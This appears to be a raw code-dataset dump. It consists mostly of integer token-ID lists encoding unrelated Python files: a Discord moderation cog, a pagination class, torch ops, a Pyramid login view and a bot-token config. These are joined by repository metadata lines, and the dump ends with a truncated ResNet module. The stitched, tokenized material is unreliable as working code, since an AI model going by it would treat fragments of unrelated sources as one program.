29898,
978,
29897,
1405,
29871,
29941,
29906,
29901,
13,
9651,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
20785,
29903,
3366,
2704,
3108,
3366,
517,
29877,
29918,
5426,
29918,
978,
20068,
13,
9651,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
4706,
25342,
313,
13073,
29889,
4906,
29889,
8921,
29889,
2543,
789,
29918,
17858,
6847,
29889,
1171,
482,
29918,
19254,
7039,
13,
795,
470,
4509,
1275,
12893,
29889,
4906,
29889,
8921,
1125,
13,
9651,
7272,
4509,
29889,
5628,
29898,
19254,
29922,
978,
29897,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
4706,
1683,
29901,
13,
9651,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
20785,
29903,
3366,
2704,
3108,
3366,
27259,
29918,
546,
1516,
20068,
13,
9651,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
286,
1082,
29898,
1311,
29892,
13,
462,
259,
12893,
29901,
15228,
29892,
13,
462,
259,
4509,
29901,
19495,
29892,
13,
462,
259,
334,
29892,
13,
462,
259,
2769,
29901,
851,
353,
376,
29940,
29914,
29909,
1159,
1599,
1939,
11609,
29901,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
286,
1082,
29918,
12154,
29918,
333,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
29885,
1082,
29918,
12154,
29918,
333,
1159,
13,
13,
4706,
565,
313,
29885,
1082,
29918,
12154,
29918,
333,
338,
6213,
470,
13,
18884,
2313,
536,
29889,
13239,
29889,
657,
29898,
13073,
29889,
2543,
789,
29889,
307,
793,
29892,
1178,
29922,
29885,
1082,
29918,
12154,
29918,
333,
29897,
338,
6213,
1125,
13,
9651,
8297,
353,
22310,
29879,
29889,
15091,
29918,
17987,
29898,
13,
18884,
29486,
4214,
29903,
3366,
1545,
261,
362,
3108,
3366,
265,
29918,
29885,
1082,
29918,
12154,
29918,
3258,
20068,
13,
9651,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
9651,
286,
1082,
29918,
12154,
353,
7272,
12893,
29889,
2543,
789,
29889,
3258,
29918,
12154,
29898,
978,
543,
29924,
3860,
1159,
13,
13,
9651,
7272,
269,
29889,
842,
29918,
2671,
703,
29885,
1082,
29918,
12154,
29918,
333,
613,
286,
1082,
29918,
12154,
29889,
333,
29897,
13,
9651,
286,
1082,
29918,
12154,
29918,
333,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
29885,
1082,
29918,
12154,
29918,
333,
1159,
13,
13,
4706,
1683,
29901,
13,
9651,
286,
1082,
29918,
12154,
353,
2313,
536,
29889,
13239,
29889,
657,
29898,
13073,
29889,
2543,
789,
29889,
307,
793,
29892,
1178,
29922,
29885,
1082,
29918,
12154,
29918,
333,
29897,
13,
13,
9651,
363,
1404,
29918,
12154,
297,
4509,
29889,
307,
793,
29901,
13,
18884,
565,
1404,
29918,
12154,
1275,
286,
1082,
29918,
12154,
29901,
13,
462,
1678,
8297,
353,
22310,
29879,
29889,
2704,
29918,
17987,
29898,
13,
462,
4706,
29486,
4214,
29903,
3366,
2704,
3108,
3366,
284,
2040,
29918,
29885,
3860,
20068,
13,
462,
1678,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
1678,
736,
13,
13,
4706,
363,
8242,
297,
12893,
29889,
2543,
789,
29889,
726,
29918,
305,
12629,
29901,
13,
9651,
7272,
8242,
29889,
842,
29918,
17858,
6847,
29898,
29885,
1082,
29918,
12154,
29892,
13,
462,
462,
3986,
1303,
29918,
19158,
29922,
5574,
29892,
13,
462,
462,
3986,
3638,
29918,
19158,
29922,
8824,
29892,
13,
462,
462,
3986,
7726,
29922,
8824,
29897,
13,
13,
4706,
7272,
4509,
29889,
1202,
29918,
307,
793,
29898,
29885,
1082,
29918,
12154,
29897,
13,
4706,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29945,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
443,
29885,
1082,
29898,
1311,
29892,
13,
462,
268,
12893,
29901,
15228,
29892,
13,
462,
268,
4509,
29901,
19495,
29892,
13,
462,
268,
334,
29892,
13,
462,
268,
2769,
29901,
851,
353,
376,
29940,
29914,
29909,
1159,
1599,
1939,
11609,
29901,
13,
4706,
286,
1082,
29918,
12154,
353,
2313,
536,
29889,
13239,
29889,
657,
29898,
13073,
29889,
2543,
789,
29889,
307,
793,
29892,
13,
462,
462,
418,
1178,
29922,
12177,
29889,
657,
29918,
29885,
1082,
29918,
12154,
29898,
13,
462,
462,
3986,
6213,
29892,
12893,
29889,
4906,
876,
13,
4706,
565,
286,
1082,
29918,
12154,
338,
6213,
29901,
13,
9651,
396,
383,
6415,
2303,
13,
9651,
7272,
12893,
29889,
6717,
703,
821,
1500,
1561,
644,
4179,
676,
6752,
3574,
29905,
29876,
29905,
29876,
29905,
29876,
26242,
1159,
13,
4706,
1683,
29901,
13,
9651,
7272,
4509,
29889,
5992,
29918,
307,
793,
29898,
29885,
1082,
29918,
12154,
29897,
13,
9651,
7272,
12893,
29889,
4906,
29889,
1202,
29918,
276,
2467,
29898,
25903,
3366,
3582,
29918,
15810,
2397,
20068,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
396,
421,
16727,
18545,
29952,
674,
6336,
3588,
372,
304,
263,
421,
2218,
16090,
29889,
16727,
29952,
2777,
13,
1678,
7465,
822,
7714,
3204,
12154,
29898,
1311,
29892,
12893,
29892,
6297,
29901,
2313,
536,
29889,
16727,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
363,
8242,
297,
12893,
29889,
2543,
789,
29889,
305,
12629,
29901,
13,
9651,
7272,
8242,
29889,
842,
29918,
17858,
6847,
29898,
12154,
29892,
3638,
29918,
19158,
29922,
8824,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
29881,
340,
593,
1740,
650,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
29881,
340,
299,
267,
535,
29872,
12436,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
443,
908,
12154,
29898,
1311,
29892,
12893,
29892,
6297,
29901,
2313,
536,
29889,
16727,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
363,
8242,
297,
12893,
29889,
2543,
789,
29889,
305,
12629,
29901,
13,
9651,
7272,
8242,
29889,
842,
29918,
17858,
6847,
29898,
12154,
29892,
3638,
29918,
19158,
29922,
5574,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
3204,
29880,
2027,
287,
3257,
650,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
3204,
29880,
2027,
287,
2783,
535,
29872,
12436,
13,
9651,
2927,
29922,
29900,
29916,
29953,
29923,
29947,
29943,
29945,
29928,
29892,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
7714,
3204,
29898,
1311,
29892,
12893,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
363,
8242,
297,
12893,
29889,
2543,
789,
29889,
305,
12629,
29901,
13,
9651,
7272,
8242,
29889,
842,
29918,
17858,
6847,
29898,
13073,
29889,
2543,
789,
29889,
4381,
29918,
12154,
29892,
13,
462,
462,
3986,
3638,
29918,
19158,
29922,
8824,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
29881,
340,
593,
1740,
650,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
29881,
340,
299,
267,
535,
29872,
12436,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
443,
908,
29898,
1311,
29892,
12893,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
363,
8242,
297,
12893,
29889,
2543,
789,
29889,
305,
12629,
29901,
13,
9651,
7272,
8242,
29889,
842,
29918,
17858,
6847,
29898,
13073,
29889,
2543,
789,
29889,
4381,
29918,
12154,
29892,
13,
462,
462,
3986,
3638,
29918,
19158,
29922,
5574,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
3204,
29880,
2027,
287,
3257,
650,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
908,
3204,
29880,
2027,
287,
2783,
535,
29872,
12436,
13,
9651,
2927,
29922,
29900,
29916,
29953,
29923,
29947,
29943,
29945,
29928,
29892,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
8242,
908,
29898,
1311,
29892,
12893,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
7272,
12893,
29889,
12719,
29889,
842,
29918,
17858,
6847,
29898,
13073,
29889,
2543,
789,
29889,
4381,
29918,
12154,
29892,
13,
462,
462,
3986,
3638,
29918,
19158,
29922,
8824,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
12719,
908,
29881,
340,
593,
1740,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
12719,
908,
29881,
340,
299,
9977,
12436,
13,
9651,
2927,
29922,
29900,
29916,
29900,
29900,
29900,
29900,
29900,
29900,
29892,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1678,
732,
26381,
29889,
6519,
580,
13,
1678,
732,
26381,
29889,
2543,
789,
29918,
6194,
580,
13,
1678,
732,
26381,
29889,
7451,
29918,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
5349,
29918,
17858,
6847,
29898,
1171,
482,
29918,
307,
793,
29922,
5574,
29897,
13,
1678,
732,
26381,
29889,
1111,
1025,
776,
29898,
29896,
29892,
29871,
29941,
29900,
29892,
8260,
29889,
29933,
2707,
300,
1542,
29889,
1792,
29897,
13,
1678,
7465,
822,
8242,
348,
908,
29898,
1311,
29892,
12893,
1125,
13,
4706,
269,
353,
7272,
19215,
29898,
13073,
29889,
2543,
789,
29889,
333,
29897,
13,
4706,
6361,
353,
7272,
269,
29889,
657,
29918,
2671,
703,
23337,
613,
8707,
18667,
3366,
4381,
29918,
23337,
20068,
13,
4706,
29486,
4214,
29903,
353,
3767,
886,
29898,
3893,
29897,
13,
4706,
7272,
12893,
29889,
12719,
29889,
842,
29918,
17858,
6847,
29898,
13073,
29889,
2543,
789,
29889,
4381,
29918,
12154,
29892,
13,
462,
462,
3986,
3638,
29918,
19158,
29922,
5574,
29897,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
13,
9651,
3611,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
12719,
908,
3204,
29880,
2027,
287,
3257,
12436,
13,
9651,
6139,
29922,
20785,
29903,
3366,
1545,
261,
362,
3108,
3366,
12719,
908,
3204,
29880,
2027,
287,
14273,
12436,
13,
9651,
2927,
29922,
29900,
29916,
29953,
29923,
29947,
29943,
29945,
29928,
29892,
13,
4706,
1723,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
13,
1753,
6230,
29898,
7451,
29901,
11273,
29897,
1599,
1939,
11609,
29901,
13,
1678,
9225,
29889,
1202,
29918,
29883,
468,
29898,
2111,
261,
362,
29898,
7451,
876,
13,
1678,
28468,
29889,
29883,
468,
29918,
15638,
29898,
7451,
29889,
657,
29918,
29883,
468,
703,
2111,
261,
362,
2564,
978,
29897,
13,
2
] |
trunk/ncore/paginations.py | zhaojiejoe/django-friendly-response | 0 | 169724 | <gh_stars>0
from rest_framework import pagination
from ncore.response import JsonResponse
from ncore.ret_codes import Codes, gen_msg_from_code
class CustomerPagination(pagination.PageNumberPagination):
page_size_query_param = 'limit'
def get_paginated_response(self, data):
return JsonResponse(**gen_msg_from_code(data={
'count': self.page.paginator.count,
'pages': self.page.paginator.num_pages,
'current_page': self.page.number,
'results': data
}, code=Codes.OK))
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
1791,
29918,
4468,
1053,
10203,
3381,
13,
3166,
302,
3221,
29889,
5327,
1053,
14355,
5103,
13,
3166,
302,
3221,
29889,
2267,
29918,
18137,
1053,
315,
2631,
29892,
2531,
29918,
7645,
29918,
3166,
29918,
401,
13,
13,
13,
1990,
21886,
29925,
351,
3381,
29898,
13573,
3381,
29889,
5074,
4557,
29925,
351,
3381,
1125,
13,
1678,
1813,
29918,
2311,
29918,
1972,
29918,
3207,
353,
525,
13400,
29915,
13,
13,
1678,
822,
679,
29918,
13573,
262,
630,
29918,
5327,
29898,
1311,
29892,
848,
1125,
13,
4706,
736,
14355,
5103,
29898,
1068,
1885,
29918,
7645,
29918,
3166,
29918,
401,
29898,
1272,
3790,
13,
9651,
525,
2798,
2396,
1583,
29889,
3488,
29889,
13573,
262,
1061,
29889,
2798,
29892,
13,
9651,
525,
12292,
2396,
1583,
29889,
3488,
29889,
13573,
262,
1061,
29889,
1949,
29918,
12292,
29892,
13,
9651,
525,
3784,
29918,
3488,
2396,
1583,
29889,
3488,
29889,
4537,
29892,
13,
9651,
525,
9902,
2396,
848,
13,
4706,
2981,
775,
29922,
29907,
2631,
29889,
8949,
876,
13,
2
] |
Dragon/python/dragon/vm/torch/ops/modules/control_flow.py | awesome-archive/Dragon | 0 | 110347 | <filename>Dragon/python/dragon/vm/torch/ops/modules/control_flow.py
# ------------------------------------------------------------
# Copyright (c) 2017-present, SeetaTech, Co.,Ltd.
#
# Licensed under the BSD 2-Clause License.
# You should have received a copy of the BSD 2-Clause License
# along with the software. If not, See,
#
# <https://opensource.org/licenses/BSD-2-Clause>
#
# ------------------------------------------------------------
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from dragon.vm.torch.ops.modules.base import BaseModule
class Copy(BaseModule):
def __init__(self, key, dev, **kwargs):
super(Copy, self).__init__(key, dev, **kwargs)
self.register_op()
def register_op(self):
self.op_meta = {'op_type': 'Copy', 'arguments': {}}
def forward(self, dst, src):
outputs = [dst]; self.unify_devices(outputs)
return self.run([src], outputs)
class Compare(BaseModule):
def __init__(self, key, dev, **kwargs):
super(Compare, self).__init__(key, dev, **kwargs)
self.operation = kwargs.get('operation', 'NONE')
self.register_op()
def register_op(self):
self.op_meta = {
'op_type': 'Compare',
'arguments': {
'operation': self.operation,
'to_uint8': True,
}}
def forward(self, x1, x2, y):
inputs = [x1, x2]; self.unify_devices(inputs)
outputs = [y] if y else [self.register_output()]
return self.run(inputs, outputs) | [
1,
529,
9507,
29958,
23978,
265,
29914,
4691,
29914,
20515,
265,
29914,
6925,
29914,
7345,
305,
29914,
3554,
29914,
7576,
29914,
6451,
29918,
1731,
29889,
2272,
13,
29937,
448,
2683,
2683,
2683,
1378,
5634,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29955,
29899,
6338,
29892,
922,
1187,
29911,
5309,
29892,
3189,
1696,
29931,
1594,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
350,
7230,
29871,
29906,
29899,
20216,
1509,
19245,
29889,
13,
29937,
887,
881,
505,
4520,
263,
3509,
310,
278,
350,
7230,
29871,
29906,
29899,
20216,
1509,
19245,
13,
29937,
3412,
411,
278,
7047,
29889,
960,
451,
29892,
2823,
29892,
13,
29937,
13,
29937,
418,
529,
991,
597,
22156,
1167,
29889,
990,
29914,
506,
11259,
29914,
29933,
7230,
29899,
29906,
29899,
20216,
1509,
29958,
13,
29937,
13,
29937,
448,
2683,
2683,
2683,
1378,
5634,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
3166,
8338,
265,
29889,
6925,
29889,
7345,
305,
29889,
3554,
29889,
7576,
29889,
3188,
1053,
7399,
7355,
13,
13,
13,
1990,
14187,
29898,
5160,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1820,
29892,
2906,
29892,
3579,
19290,
1125,
13,
4706,
2428,
29898,
11882,
29892,
1583,
467,
1649,
2344,
12035,
1989,
29892,
2906,
29892,
3579,
19290,
29897,
13,
4706,
1583,
29889,
9573,
29918,
459,
580,
13,
13,
1678,
822,
6036,
29918,
459,
29898,
1311,
1125,
13,
4706,
1583,
29889,
459,
29918,
7299,
353,
11117,
459,
29918,
1853,
2396,
525,
11882,
742,
525,
25699,
2396,
426,
930,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
29743,
29892,
4765,
1125,
13,
4706,
14391,
353,
518,
22992,
1385,
1583,
29889,
348,
1598,
29918,
3359,
1575,
29898,
4905,
29879,
29897,
13,
4706,
736,
1583,
29889,
3389,
4197,
4351,
1402,
14391,
29897,
13,
13,
13,
1990,
3831,
598,
29898,
5160,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1820,
29892,
2906,
29892,
3579,
19290,
1125,
13,
4706,
2428,
29898,
6843,
598,
29892,
1583,
467,
1649,
2344,
12035,
1989,
29892,
2906,
29892,
3579,
19290,
29897,
13,
4706,
1583,
29889,
16453,
353,
9049,
5085,
29889,
657,
877,
16453,
742,
525,
29940,
12413,
1495,
13,
4706,
1583,
29889,
9573,
29918,
459,
580,
13,
13,
1678,
822,
6036,
29918,
459,
29898,
1311,
1125,
13,
4706,
1583,
29889,
459,
29918,
7299,
353,
426,
13,
9651,
525,
459,
29918,
1853,
2396,
525,
6843,
598,
742,
13,
9651,
525,
25699,
2396,
426,
13,
18884,
525,
16453,
2396,
1583,
29889,
16453,
29892,
13,
18884,
525,
517,
29918,
13470,
29947,
2396,
5852,
29892,
13,
9651,
9156,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29896,
29892,
921,
29906,
29892,
343,
1125,
13,
4706,
10970,
353,
518,
29916,
29896,
29892,
921,
29906,
1385,
1583,
29889,
348,
1598,
29918,
3359,
1575,
29898,
2080,
29879,
29897,
13,
4706,
14391,
353,
518,
29891,
29962,
565,
343,
1683,
518,
1311,
29889,
9573,
29918,
4905,
580,
29962,
13,
4706,
736,
1583,
29889,
3389,
29898,
2080,
29879,
29892,
14391,
29897,
2
] |
video_server/views/auth.py | jgeneaguilar/video_server | 0 | 121283 | <filename>video_server/views/auth.py
from pyramid.view import view_config
from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound
from ..models import User
from ..services import encoding
def _authenticate_user(request):
username = request.json_body.get("username")
password = request.json_body.get("password")
user = request.dbsession.query(User).filter_by(username=username).first()
if user is not None:
if user.check_password(password):
return user
else:
raise HTTPBadRequest("The password you have entered is incorrect.")
else:
return None
@view_config(
route_name="login", request_method="POST", renderer="json",
)
def login(request):
"""Authenticate the user by checking the username-password combination.
Params:
username: string
password: <PASSWORD>
Return:
dict of id(uuid), username(string), token(jwt)
"""
user = _authenticate_user(request)
if user is not None:
return {"data": encoding.encode_response_token(user, request)}
else:
raise HTTPNotFound()
| [
1,
529,
9507,
29958,
9641,
29918,
2974,
29914,
7406,
29914,
5150,
29889,
2272,
13,
3166,
11451,
2572,
333,
29889,
1493,
1053,
1776,
29918,
2917,
13,
3166,
11451,
2572,
333,
29889,
691,
412,
29916,
1441,
29879,
1053,
7331,
22050,
3089,
29892,
7331,
17413,
13,
13,
3166,
6317,
9794,
1053,
4911,
13,
3166,
6317,
9916,
1053,
8025,
13,
13,
13,
1753,
903,
27218,
403,
29918,
1792,
29898,
3827,
1125,
13,
1678,
8952,
353,
2009,
29889,
3126,
29918,
2587,
29889,
657,
703,
6786,
1159,
13,
1678,
4800,
353,
2009,
29889,
3126,
29918,
2587,
29889,
657,
703,
5630,
1159,
13,
1678,
1404,
353,
2009,
29889,
2585,
7924,
29889,
1972,
29898,
2659,
467,
4572,
29918,
1609,
29898,
6786,
29922,
6786,
467,
4102,
580,
13,
13,
1678,
565,
1404,
338,
451,
6213,
29901,
13,
4706,
565,
1404,
29889,
3198,
29918,
5630,
29898,
5630,
1125,
13,
9651,
736,
1404,
13,
4706,
1683,
29901,
13,
9651,
12020,
7331,
22050,
3089,
703,
1576,
4800,
366,
505,
7802,
338,
10240,
23157,
13,
1678,
1683,
29901,
13,
4706,
736,
6213,
13,
13,
13,
29992,
1493,
29918,
2917,
29898,
13,
1678,
5782,
29918,
978,
543,
7507,
613,
2009,
29918,
5696,
543,
5438,
613,
4050,
261,
543,
3126,
613,
13,
29897,
13,
1753,
6464,
29898,
3827,
1125,
13,
1678,
9995,
6444,
4173,
403,
278,
1404,
491,
8454,
278,
8952,
29899,
5630,
10296,
29889,
13,
4706,
1459,
2232,
29901,
13,
9651,
8952,
29901,
1347,
13,
9651,
4800,
29901,
529,
25711,
17013,
29958,
13,
4706,
7106,
29901,
13,
9651,
9657,
310,
1178,
29898,
25118,
511,
8952,
29898,
1807,
511,
5993,
29898,
29926,
14554,
29897,
13,
1678,
9995,
13,
1678,
1404,
353,
903,
27218,
403,
29918,
1792,
29898,
3827,
29897,
13,
13,
1678,
565,
1404,
338,
451,
6213,
29901,
13,
4706,
736,
8853,
1272,
1115,
8025,
29889,
12508,
29918,
5327,
29918,
6979,
29898,
1792,
29892,
2009,
2915,
13,
1678,
1683,
29901,
13,
4706,
12020,
7331,
17413,
580,
13,
2
] |
bot_tokens.py | vetu11/QuienVienebot | 2 | 94865 | <reponame>vetu11/QuienVienebot
BOT_TOKEN = ""
PAYMENT_PROVIDER_TOKEN = None
| [
1,
529,
276,
1112,
420,
29958,
5990,
29884,
29896,
29896,
29914,
2182,
819,
29963,
819,
774,
327,
13,
29933,
2891,
29918,
4986,
29968,
1430,
353,
5124,
13,
7228,
29979,
13780,
29918,
8618,
13044,
1001,
29918,
4986,
29968,
1430,
353,
6213,
13,
2
] |
Test/final/V5_face_CC/models_balance/resnet.py | WangWenhao0716/ISC-Track1-Submission | 46 | 1617756 | from __future__ import absolute_import
from torch import nn
from torch.nn import functional as F
from torch.nn import init
import torchvision
import torch
import random
from .gem import GeneralizedMeanPoolingP
__all__ = ['ResNet', 'resnet18', 'resnet34', 'resnet50', 'resnet101',
'resnet152']
class Waveblock(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
if self.training:
h, w = x.size()[-2:]
rh = round(0.3 * h)
sx = random.randint(0, h-rh)
mask = (x.new_ones(x.size()))*1.5
mask[:, :, sx:sx+rh, :] = 1
x = x * mask
return x
class ResNet(nn.Module):
__factory = {
18: torchvision.models.resnet18,
34: torchvision.models.resnet34,
50: torchvision.models.resnet50,
101: torchvision.models.resnet101,
152: torchvision.models.resnet152,
}
def __init__(self, depth, pretrained=True, cut_at_pooling=False,
num_features=0, norm=False, dropout=0, num_classes=0,
dev = None):
super(ResNet, self).__init__()
self.pretrained = pretrained
self.depth = depth
self.cut_at_pooling = cut_at_pooling
# Construct base (pretrained) resnet
if depth not in ResNet.__factory:
raise KeyError("Unsupported depth:", depth)
resnet = ResNet.__factory[depth](pretrained=pretrained)
